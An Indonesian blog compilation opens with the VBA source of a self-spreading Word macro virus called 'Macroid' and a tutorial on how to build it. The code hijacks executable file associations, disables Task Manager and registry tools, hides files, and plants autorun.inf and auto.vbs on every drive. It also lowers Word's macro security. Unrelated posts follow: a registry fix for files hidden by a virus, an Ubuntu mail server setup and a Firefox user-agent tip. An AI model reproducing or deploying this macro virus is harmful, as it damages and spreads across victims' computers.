b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

End Sub

Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI



Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)

dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)

if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if

contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…

Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security

Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:

Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”

Menampilkan Hidden File & Folder

Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus?  Tenang…! Tidak perlu panik dulu. Tulisan kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.

Perlu ditekankan bahwa file dan folder yang bisa dikembalikan menjadi normal adalah file atau folder yang “hanya” disembunyikan oleh virus. File dan folder yang benar-benar hilang atau terhapus tidak bisa dikembalikan lagi, kecuali menggunakan sistem restore.
Okeh, kita mulai tutorial bagaimana menampilkan kembali file dan folder yang di-hidden oleh virus:
1. Start > Run > Notepad
Copy Paste-kan :
Code:

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006

Save file dgn nama : showhiddenfiles.reg ( save dimana saja )
2. Start > Run > Notepad
Copy Paste-kan :
Code:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″

Save file dgn nama : nohidden.reg ( terserah mo di save dimana saja lg…heheh )
3. Start > Run > Notepad
Copy Paste-kan :
Code:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″

Save file dgn nama : showall.reg ( terserah mo di save dimana saja lg….wkwkwk )
Setelah 3 file tersebut diatas jadi, klik satu persatu mulai dr no. 1 s/d 3 ( Pilih “Yes” )

membuat Mail Server dengan Ubuntu 9.10

apache2 , mysql , postfix, dovecot , squirellmail senjata utamanya
postfix adalah sebuah program pengirim email sebagai pengganti dari sendmail.
Postfix is a free and open-source mail transfer agent (MTA) that routes and delivers electronic mail.
It is intended as a fast, easier-to-administer, and secure alternative to the widely-used Sendmail MTA. (wiki)
Dovecot is an open source IMAP and POP3 server for Linux/UNIX-like systems, written primarily with security in mind. Developed by Timo Sirainen, Dovecot was first released in July 2002. Dovecot primarily aims to be a lightweight, fast and easy to set up open source mailserver. (wiki)
1. Persiapan sistem untuk Ubuntu 9.10
Agar nantinya tidak terdapat broken system alangkah baek nya install ubuntu dengan build essential
sudo apt-get install build-essential

2. Install file utama

sudo apt-get install postfix postfix-msql php5-imap dovecot-pop3d dovecot-imapd
php5-mysql squirrelmail apache2

3. Cek system apakah apache2 postfix dan dovecot ny udah ada lum disystem

service apache2 status && service postfix status && service dovecot status

4. Buat Database Untuk Postfix

root@kaitokid:~# mysql -u root -p     // -p masukkan passwd mysql nya

mysql> create database postfix; mysql> grant all privileges on postfix.* to 'postfix'@'localhost' identified by 'postfixpassword'; mysql> grant all privileges on postfix.* to 'postfix'@'127.0.0.1' identified by 'postfixpassword'; mysql> exit

// ganti 'postfixpasswd' sesuai pasword yang di inginkan & 'postfix'
     sesuai dengan user yang dinginkan

5. Download postfixadmin untuk mempermudah administrasi mail

 http://sourceforge.net/projects/postfixadmin/

6. Extract hasil download postfixadmin dan pindahkan ke /var/www

 root@kaitokid:~# cd /var/www/ root@kaitokid:/var/www# tar xzf /home/kaitokid/postfixadmin-2.**.tar.gz root@kaitokid:/var/www# mv postfixadmin-2.**/ postfix root@kaitokid:/var/www# chown -R www-data.www-data /var/www

7. Setup config.inc.php postfixadmin

root@kaitokid:~# nano /var/www/postfix/config.inc.php

// Database Config
   // mysql = MySQL 3.23 and 4.0
   // mysqli = MySQL 4.1
   // pgsql = PostgreSQL
  $CONF['database_type'] = 'mysqli'; //sesuaikan dg sql nya untuk mysql seri 4 keatas gunakan mysqli
  $CONF['database_host'] = 'localhost';
  $CONF['database_user'] = 'postfix';   // user database di mysql  lihat nomer 4
  $CONF['database_password'] = 'postfixpassword';  // user database mysql lihat nomer 4
  $CONF['database_name'] = 'postfix';  $CONF['database_prefix'] = '';  //default kosong

8. Setup postfix admin

buka web browser firefox kemudian buka URL
http://127.0.0.1/postfix/setup.php
// waktu instalasi pastikan tidak ada error & untuk ppostfixadmin series 2.3 file setup tidak perlu dihapus
//pastikan web server di komputer udah jalan

9. Konfigurasi MySQL postfix

//konfigurasi user & passwd sesuai dg nomer 4

nano /etc/postfix/mysql_virtual_alias_maps.cf
    user = postfix
    password = postfixpassword
    hosts = 127.0.0.1
    dbname = postfix
    table = alias
    select_field = goto
    where_field = address

nano /etc/postfix/mysql_virtual_mailbox_maps.cf
    user = postfix
    password = postfixpassword
    hosts = 127.0.0.1
    dbname = postfix
    table = mailbox
    select_field = maildir
    where_field = username
    #additional_conditions = and active = '1'

nano /etc/postfix/mysql_virtual_mailbox_limit_maps.cf
   user = postfix
   password = postfixpassword
   hosts = 127.0.0.1
   dbname = postfix
   table = mailbox
   select_field = quota
   where_field = username
   #additional_conditions = and active = '1'

nano /etc/postfix/mysql_virtual_domains_maps.cf
  user = postfix
  password = postfixpassword
  hosts = 127.0.0.1
  dbname = postfix
  table = domain
  select_field = domain
  where_field = domain
  #additional_conditions = and backupmx = '0' and active = '1'

nano /etc/postfix/mysql_relay_domains_maps.cf
   user = postfix
   password = postfixpassword
   hosts = 127.0.0.1
   dbname = postfix
   table = domain
   select_field = domain
   where_field = domain
   #additional_conditions = and backupmx = '1'

chgrp postfix /etc/postfix/mysql_*.cf
  chmod 640 /etc/postfix/mysql_*.cf
  groupadd -g 5000 vmail
  useradd -m -g vmail -u 5000 -d /home/vmail -s /bin/bash vmail

10. konfigurasi postfix main.cf

nano /etc/postfix/main.cf
   # Virtual Mailbox Domain Settings
  //konfigurasi default main.cf untuk opreknya tunggu di part 2 mail server 

  myhostname = ubuntu  //sesuaikan dg hostname komputer yang dipakai mail server
  virtual_alias_maps = mysql:/etc/postfix/mysql_virtual_alias_maps.cf
  virtual_mailbox_domains = mysql:/etc/postfix/mysql_virtual_domains_maps.cf
  virtual_mailbox_maps = mysql:/etc/postfix/mysql_virtual_mailbox_maps.cf
  virtual_mailbox_limit = 51200000
  virtual_uid_maps = static:5000
  virtual_gid_maps = static:5000
  virtual_mailbox_base = /home/vmail
  virtual_transport = virtual

   # Additional for quota support
  virtual_create_maildirsize = yes
  virtual_mailbox_extended = yes
  virtual_mailbox_limit_maps = mysql:/etc/postfix/mysql_virtual_mailbox_limit_maps.cf
  virtual_mailbox_limit_override = yes
  virtual_maildir_limit_message = Sorry, the your maildir has overdrawn your diskspace
                       quota, please free up some of spaces of your mailbox try again.
  virtual_overquota_bounce = yes
  alias_maps = hash:/etc/aliases
  alias_database = hash:/etc/aliases
  mydestination =
  relayhost =
  mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
  mailbox_size_limit = 0
  recipient_delimiter = +
  inet_interfaces = all

11. Konfigurasi Dovecot POP3 dan IMAP4

nano /etc/dovecot/dovecot.conf
   protocols = imap pop3
   disable_plaintext_auth = no
   default_mail_env = maildir:/home/vmail/%u/
   first_valid_uid = 5000
   first_valid_gid = 5000
   # SQL database
    passdb sql {
   # Path for SQL configuration file
   args = /etc/dovecot/dovecot-sql.conf
   }
   # SQL database
   userdb sql {
   # Path for SQL configuration file
   args = /etc/dovecot/dovecot-sql.conf
   }

nano /etc/dovecot/dovecot-sql.conf
   driver = mysql
   connect = host=127.0.0.1 dbname=postfix user=postfix password=postfixpassword
   default_pass_scheme = CRYPT
   user_query = SELECT maildir, 5000 AS uid, 5000 AS gid FROM mailbox WHERE username = '%u'
   password_query = SELECT password FROM mailbox WHERE username = '%u'

Merubah Browser Agent Pada Firefox

tau situs wap kan itu loch situs yang hanya bisa dibuka lewat ponsel kaya situs peperonity.com, waptrik.com..langsung aja ya


1. langkah pertama

install Add-On User Agent Switcher

2. langkah kedua

download file ini user_agents, extract

3.langkah ketiga

buka firefox pilih Tools -> Default User Agents -> Edit User Agents
klik import, trus pilih file useragentswitcher.xml, klik ok

4.langkah keempat

pilih Tools -> Default User Agents -> Nokia 5800 / operamini
masuk ke situs waptrik.com

5. langkah kelima

kalau berhasil kebuka situsnya berarti berhasil…

situs wap kalau dibuka dipc bakal jadi kecil ukurannya

dicoba yah…